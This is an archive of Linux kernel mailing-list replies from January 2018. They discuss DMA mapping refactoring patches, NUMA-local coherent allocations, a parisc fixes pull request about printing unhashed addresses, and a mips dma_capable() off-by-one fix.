Subject: Re: [PATCH 27/33] dma-direct: use node local allocations for coherent
 memory
Date: Wed, 10 Jan 2018 12:06:22 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <3672aa56-b85c-5d2c-0c0e-709031b0c0a0@arm.com>
References: <20180110080027.13879-1-hch@lst.de>
 <20180110080027.13879-28-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515585876 22409 195.159.176.226 (10 Jan 2018 12:04:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 12:04:36 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 10 13:04:31 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eZF7I-0000Ka-V6
	for glpm-linux-m68k@m.gmane.org; Wed, 10 Jan 2018 13:04:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753393AbeAJMG2 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 10 Jan 2018 07:06:28 -0500
Original-Received: from usa-sjc-mx-foss1.foss.arm.com ([217.140.101.70]:40910 "EHLO
        foss.arm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751606AbeAJMG1 (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 10 Jan 2018 07:06:27 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 675801435;
        Wed, 10 Jan 2018 04:06:27 -0800 (PST)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id A91CB3F581;
        Wed, 10 Jan 2018 04:06:23 -0800 (PST)
In-Reply-To: <20180110080027.13879-28-hch@lst.de>
Content-Language: en-GB
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9896 gmane.linux.kernel.iommu:22086 gmane.linux.ports.mips.general:63250 gmane.linux.ports.ia64:28563 gmane.linux.ports.sh.devel:56271 gmane.linux.ports.sparc:27222 gmane.linux.kernel.cross-arch:41309 gmane.linux.ports.hexagon:1540 gmane.linux.kernel.arc:3324 gmane.linux.kernel.metag:1616 gmane.linux.ports.arm.kernel:625137 gmane.linux.ports.parisc:28215 gmane.linux.kernel:2662962 gmane.linux.ports.alpha:4714 gmane.linux.ports.ppc64.devel:151891
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9896>

On 10/01/18 08:00, Christoph Hellwig wrote:
> To preserve the x86 behavior.

And combined with patch 10/22 of the SWIOTLB refactoring, this means 
SWIOTLB allocations will also end up NUMA-aware, right? Great, that's 
what we want on arm64 too :)

Reviewed-by: Robin Murphy <robin.murphy@arm.com>

> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>   lib/dma-direct.c | 2 +-
>   1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/lib/dma-direct.c b/lib/dma-direct.c
> index a9ae98be7af3..f04a424f91fa 100644
> --- a/lib/dma-direct.c
> +++ b/lib/dma-direct.c
> @@ -38,7 +38,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
>   	if (gfpflags_allow_blocking(gfp))
>   		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
>   	if (!page)
> -		page = alloc_pages(gfp, page_order);
> +		page = alloc_pages_node(dev_to_node(dev), gfp, page_order);
>   	if (!page)
>   		return NULL;
>   
> 

From - Thu Nov 08 21:40:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc architecture fixes for 4.15-rc7
Date: Wed, 10 Jan 2018 14:44:23 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <6ed747e2-d037-b37d-51fb-39e0e2c3f2f4@gmx.de>
References: <20180107162123.GA9715@ls3530.fritz.box>
 <CAGXu5jJ=s8NBBpd9fxr37T+HV8SNunq71AgGwu+Cy7WogPH=xA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515591790 21542 195.159.176.226 (10 Jan 2018 13:43:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 13:43:10 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: LKML <linux-kernel@vger.kernel.org>,
        linux-parisc <linux-parisc@vger.kernel.org>,
        James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>,
        Richard Henderson <rth@twiddle.net>,
        Laura Abbott <labbott@redhat.com>
To: Kees Cook <keescook@chromium.org>,
        Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 10 14:43:05 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eZGel-0005Ge-Pj
	for glk-linux-kernel-3@m.gmane.org; Wed, 10 Jan 2018 14:43:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933156AbeAJNpE (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 10 Jan 2018 08:45:04 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:53032 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932526AbeAJNpC (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 10 Jan 2018 08:45:02 -0500
Original-Received: from [192.168.20.60] ([91.36.206.62]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M54fe-1enCgp3IFC-00zFX8; Wed, 10
 Jan 2018 14:44:25 +0100
In-Reply-To: <CAGXu5jJ=s8NBBpd9fxr37T+HV8SNunq71AgGwu+Cy7WogPH=xA@mail.gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K0:I5czgwOdUh5XX5Fqkq+gRtuxQiioMQI1S8J7nC384B/v+zLXtff
 JtBj/T+rpTOVMAsStEpoh3tgvrdIe4hdfSimvsAp4kxAPVE0/oGIjvsYGyv0qbpWq+R1txD
 f2UEdo80kz546hZcNJekSeigCCt3eAhvvPEq5ZSP0t/4G7f56+Kh2PBAs7YHN3GLC9Opdl4
 /z9zqsteHCrnEJUf2WylQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:TEIM52Zrkkg=:DpMCAPoQkjD8OVD8n4N/Lx
 0POvAGemDBdWw2j45SbtxX4Pp9ADGidyjx8mRN5QFH5hl7Wrgvk6RaspXhxQN1fN5WlBWjFPu
 qYauXQvKkzfECSs3nGGuau+cPey4coqK+cKB6W9M/syeL7w8BytEFA/dNEsuSCbwcz9dpf9nF
 0yaYqXwHvekTk5MljvbpX0dvexMZpYTL3+d2K7GWTPDCGR0MXH23CO8ocZk22aNGugL05Prvj
 4DuPIF4xL1GtXxtRUoNaCVEno9CvMGGQtYvPq8PePEJjXwOblfiqadmf3nHL7oYT1fyuWLQb3
 Hnfu6GoFbyiKCtqKBPIBleZCANAbH5QjM3SruZvOcXRLUKNeCffGKz8XCUYHxVko3VDjuAPZH
 69HATVx2MxKu7TpltcLcum0ov7vRtgJabCLJ7Uwx91YAfJC/W1JamW+jHcO7rrxJh0yaxR3NF
 L4L/P/8zt57m6LifoLtVr/B1hJs7aSdSINcf5CLbiDB3zzlRtzbbN8NVsPBqMWJwUghBie5qk
 pkeI5OZUHtqxFNjn8xySF7aN+6yHVLdwFt309FjnVBjlM/yYKUExkYltS4pDCH1WiegdJO6VO
 PFq+P3ivnil2t9mIQgG643HdNndONf/IrX8VQlNzdDa16pt/YqpU7OQqGscwKKu1y7EDUCgZ+
 v+3n/bJbfwMoSCsxq2mqw8R12Bqrzoq8xS8FOvQ5xoRrFbilH0IMAybl/tHJkKixxOi6/Q7Zp
 pIiHuDdPEMuyiFIsHK88eyyoXufs7rExxMBvogR+o4cRhpF6iM3rf1qIchTEfu22K/g156VW 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2663061 gmane.linux.ports.parisc:28216
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2663061>

On 10.01.2018 00:03, Kees Cook wrote:
> On Sun, Jan 7, 2018 at 8:21 AM, Helge Deller <deller@gmx.de> wrote:
>> Hi Linus,
>>
>> please pull a few fixes for the parisc architecture from:
>>
>>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.15-3
>>
>> The fixes are:
>> - Many small fixes to show the real physical addresses of devices instead of
>>   hashed addresses.
>>
>> - One important fix to unbreak 32-bit SMP support: We forgot to 16-byte align
>>   the spinlocks in the assembler code.
>>
>> - Qemu support: The host will get a chance to sleep when the parisc guest is
>>   idle. We use the same mechanism as the power architecture by overlaying the
>>   "or %r10,%r10,%r10" instruction which is simply a nop on real hardware.
>>
>> Thanks,
>> Helge
>>
>> ----------------------------------------------------------------
>> Helge Deller (6):
>>       parisc: Show unhashed hardware inventory
>>       parisc: Show unhashed EISA EEPROM address
> 
> These looks like a physical addresses, yes.
> 
>>       parisc: Show initial kernel memory layout unhashed
>>       parisc: Show unhashed HPA of Dino chip
> 
> But these are virtual addresses and should be just removed, not
> switched to %px. They're not physical addresses that I can see, e.g.
> "dino_dev" is clearly being used as an in-memory structure, and the
> kernel layout literally says "virtual kernel memory layout".

Agreed, some of those should go.
I'll clean that up in upcoming patches.

Thanks!
Helge


From - Thu Nov 08 21:40:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 11/33] dma-mapping: move swiotlb arch helpers to a new
	header
Date: Wed, 10 Jan 2018 14:56:01 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <3721b4ba-0685-255e-06b9-6e60678a1a92@arm.com>
References: <20180110080027.13879-1-hch@lst.de>
	<20180110080027.13879-12-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515596053 7021 195.159.176.226 (10 Jan 2018 14:54:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 14:54:13 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.5.0
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 10 15:54:07 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZHlW-0001Pw-Ds
	for glki-iommu@m.gmane.org; Wed, 10 Jan 2018 15:54:06 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id D6A5EFBA;
	Wed, 10 Jan 2018 14:56:09 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id E7B4BFB4
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 14:56:08 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from foss.arm.com (foss.arm.com [217.140.101.70])
	by smtp1.linuxfoundation.org (Postfix) with ESMTP id 996D1E3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 10 Jan 2018 14:56:07 +0000 (UTC)
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
	by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 37EC915A2;
	Wed, 10 Jan 2018 06:56:07 -0800 (PST)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
	by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 7E92F3F487;
	Wed, 10 Jan 2018 06:56:03 -0800 (PST)
In-Reply-To: <20180110080027.13879-12-hch-jcswGhMUV9g@public.gmane.org>
Content-Language: en-GB
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22098 gmane.linux.ports.mips.general:63256 gmane.linux.ports.ia64:28569 gmane.linux.ports.sh.devel:56272 gmane.linux.ports.sparc:27224 gmane.linux.kernel.cross-arch:41315 gmane.linux.ports.hexagon:1541 gmane.linux.kernel.arc:3325 gmane.linux.kernel.metag:1617 gmane.linux.ports.arm.kernel:625175 gmane.linux.ports.parisc:28217 gmane.linux.kernel:2663125 gmane.linux.ports.alpha:4715 gmane.linux.ports.ppc64.devel:151900
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22098>

On 10/01/18 08:00, Christoph Hellwig wrote:
> phys_to_dma, dma_to_phys and dma_capable are helpers published by
> architecture code for use of swiotlb and xen-swiotlb only.  Drivers are
> not supposed to use these directly, but use the DMA API instead.
> 
> Move these to a new asm/dma-direct.h helper, included by a
> linux/dma-direct.h wrapper that provides the default linear mapping
> unless the architecture wants to override it.
> 
> Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
> ---
[...]
>   drivers/crypto/marvell/cesa.c                      |  1 +
>   drivers/mtd/nand/qcom_nandc.c                      |  1 +

I took a look at these, and it seems their phys_to_dma() usage is doing 
the thing which we subsequently formalised as dma_map_resource(). I've 
had a crack at a quick patch to update the CESA driver; qcom_nandc looks 
slightly more complex in that the changes probably need to span the BAM 
dmaengine driver as well.

In the process, though, I stumbled across gen_pool_dma_alloc() - yuck, 
something needs doing there, for sure...

Robin.

From - Thu Nov 08 21:40:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 11/33] dma-mapping: move swiotlb arch helpers to a new
        header
Date: Wed, 10 Jan 2018 16:22:15 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20180110152215.GA17790@lst.de>
References: <20180110080027.13879-1-hch@lst.de> <20180110080027.13879-12-hch@lst.de> <b2bd6f4b-a932-5251-517b-83bbccfe7c53@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515597622 31865 195.159.176.226 (10 Jan 2018 15:20:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 15:20:22 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Vladimir Murzin <vladimir.murzin@arm.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Jan 10 16:20:16 2018
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eZIAp-0006KL-NT
	for glpi-linux-ia64-2@m.gmane.org; Wed, 10 Jan 2018 16:20:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965635AbeAJPWT (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 10 Jan 2018 10:22:19 -0500
Original-Received: from verein.lst.de ([213.95.11.211]:47491 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754030AbeAJPWS (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Wed, 10 Jan 2018 10:22:18 -0500
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id 28B429F162; Wed, 10 Jan 2018 16:22:15 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <b2bd6f4b-a932-5251-517b-83bbccfe7c53@arm.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28570 gmane.linux.kernel.iommu:22099 gmane.linux.ports.mips.general:63257 gmane.linux.ports.sh.devel:56273 gmane.linux.ports.sparc:27225 gmane.linux.kernel.cross-arch:41316 gmane.linux.ports.hexagon:1542 gmane.linux.kernel.arc:3326 gmane.linux.kernel.metag:1618 gmane.linux.ports.arm.kernel:625179 gmane.linux.ports.parisc:28218 gmane.linux.kernel:2663146 gmane.linux.ports.alpha:4716 gmane.linux.ports.ppc64.devel:151901
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28570>

On Wed, Jan 10, 2018 at 09:31:45AM +0000, Vladimir Murzin wrote:
> I know it is copy&paste, but it seems it has off by one error and it should be
> 
> return addr + size - 1 <= *dev->dma_mask;

I've added a new patch to fix the mips dma_capable() definition,
thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 11/33] dma-mapping: move swiotlb arch helpers to a new
        header
Date: Wed, 10 Jan 2018 16:26:17 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20180110152617.GB17790@lst.de>
References: <20180110080027.13879-1-hch@lst.de> <20180110080027.13879-12-hch@lst.de> <3721b4ba-0685-255e-06b9-6e60678a1a92@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1515597863 21832 195.159.176.226 (10 Jan 2018 15:24:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 15:24:23 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Robin Murphy <robin.murphy@arm.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 10 16:24:17 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eZIEh-0002sh-J0
	for glpm-linux-m68k@m.gmane.org; Wed, 10 Jan 2018 16:24:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754052AbeAJP0T (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 10 Jan 2018 10:26:19 -0500
Original-Received: from verein.lst.de ([213.95.11.211]:47531 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751812AbeAJP0S (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 10 Jan 2018 10:26:18 -0500
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id 9516F9F162; Wed, 10 Jan 2018 16:26:17 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <3721b4ba-0685-255e-06b9-6e60678a1a92@arm.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9899 gmane.linux.kernel.iommu:22100 gmane.linux.ports.mips.general:63258 gmane.linux.ports.ia64:28571 gmane.linux.ports.sh.devel:56274 gmane.linux.ports.sparc:27226 gmane.linux.kernel.cross-arch:41318 gmane.linux.ports.hexagon:1543 gmane.linux.kernel.arc:3327 gmane.linux.kernel.metag:1619 gmane.linux.ports.arm.kernel:625183 gmane.linux.ports.parisc:28219 gmane.linux.kernel:2663154 gmane.linux.ports.alpha:4717 gmane.linux.ports.ppc64.devel:151902
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9899>

On Wed, Jan 10, 2018 at 02:56:01PM +0000, Robin Murphy wrote:
> I took a look at these, and it seems their phys_to_dma() usage is doing the 
> thing which we subsequently formalised as dma_map_resource(). I've had a 
> crack at a quick patch to update the CESA driver; qcom_nandc looks slightly 
